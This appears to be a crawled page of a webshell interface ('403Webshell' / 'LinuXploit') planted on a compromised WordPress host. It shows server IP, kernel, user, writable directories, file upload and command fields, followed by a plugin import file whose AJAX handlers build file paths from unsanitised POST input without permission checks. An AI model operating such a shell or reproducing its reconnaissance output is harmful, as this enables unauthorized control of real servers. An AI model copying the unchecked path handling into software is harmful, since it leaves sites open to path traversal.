403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/www/wp-content/plugins/eltd-core/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/www/wp-content/plugins/eltd-core/import/eltd-import-functions.php
<?php

if ( ! function_exists( 'eltd_core_import_object' ) ) {
	function eltd_core_import_object() {
		$eltd_core_import_object = new ElatedfCoreImport();
	}
	
	add_action( 'init', 'eltd_core_import_object' );
}

if ( ! function_exists( 'eltd_core_data_import' ) ) {
	function eltd_core_data_import() {
		$importObject = ElatedfCoreImport::getInstance();
		
		if ( $_POST['import_attachments'] == 1 ) {
			$importObject->attachments = true;
		} else {
			$importObject->attachments = false;
		}
		
		$folder = "trackstore/";
		if ( ! empty( $_POST['example'] ) ) {
			$folder = $_POST['example'] . "/";
		}
		
		$importObject->import_content( $folder . $_POST['xml'] );

		$importObject->eltdf_update_meta_fields_after_import($folder);
		
		die();
	}
	
	add_action( 'wp_ajax_eltd_core_data_import', 'eltd_core_data_import' );
}

if ( ! function_exists( 'eltd_core_widgets_import' ) ) {
	function eltd_core_widgets_import() {
		$importObject = ElatedfCoreImport::getInstance();
		
		$folder = "trackstore/";
		if ( ! empty( $_POST['example'] ) ) {
			$folder = $_POST['example'] . "/";
		}
		
		$importObject->import_widgets( $folder . 'widgets.txt', $folder . 'custom_sidebars.txt' );
		
		die();
	}
	
	add_action( 'wp_ajax_eltd_core_widgets_import', 'eltd_core_widgets_import' );
}

if ( ! function_exists( 'eltd_core_options_import' ) ) {
	function eltd_core_options_import() {
		$importObject = ElatedfCoreImport::getInstance();
		
		$folder = "trackstore/";
		if ( ! empty( $_POST['example'] ) ) {
			$folder = $_POST['example'] . "/";
		}
		
		$importObject->import_options( $folder . 'options.txt' );

		$importObject->eltdf_update_options_after_import($folder);
		
		die();
	}
	
	add_action( 'wp_ajax_eltd_core_options_import', 'eltd_core_options_import' );
}

if ( ! function_exists( 'eltd_core_other_import' ) ) {
	function eltd_core_other_import() {
		$importObject = ElatedfCoreImport::getInstance();
		
		$folder = "trackstore/";
		if ( ! empty( $_POST['example'] ) ) {
			$folder = $_POST['example'] . "/";
		}
		
		$importObject->import_options( $folder . 'options.txt' );
		$importObject->import_widgets( $folder . 'widgets.txt', $folder . 'custom_sidebars.txt' );
		$importObject->import_menus( $folder . 'menus.txt' );
		$importObject->import_settings_pages( $folder . 'settingpages.txt' );
		
		if ( eltd_core_is_revolution_slider_installed() ) {
			$importObject->rev_slider_import( $folder );
		}

        $importObject->eltdf_update_meta_fields_after_import($folder);
        $importObject->eltdf_update_options_after_import($folder);
		
		die();
	}
	
	add_action( 'wp_ajax_eltd_core_other_import', 'eltd_core_other_import' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit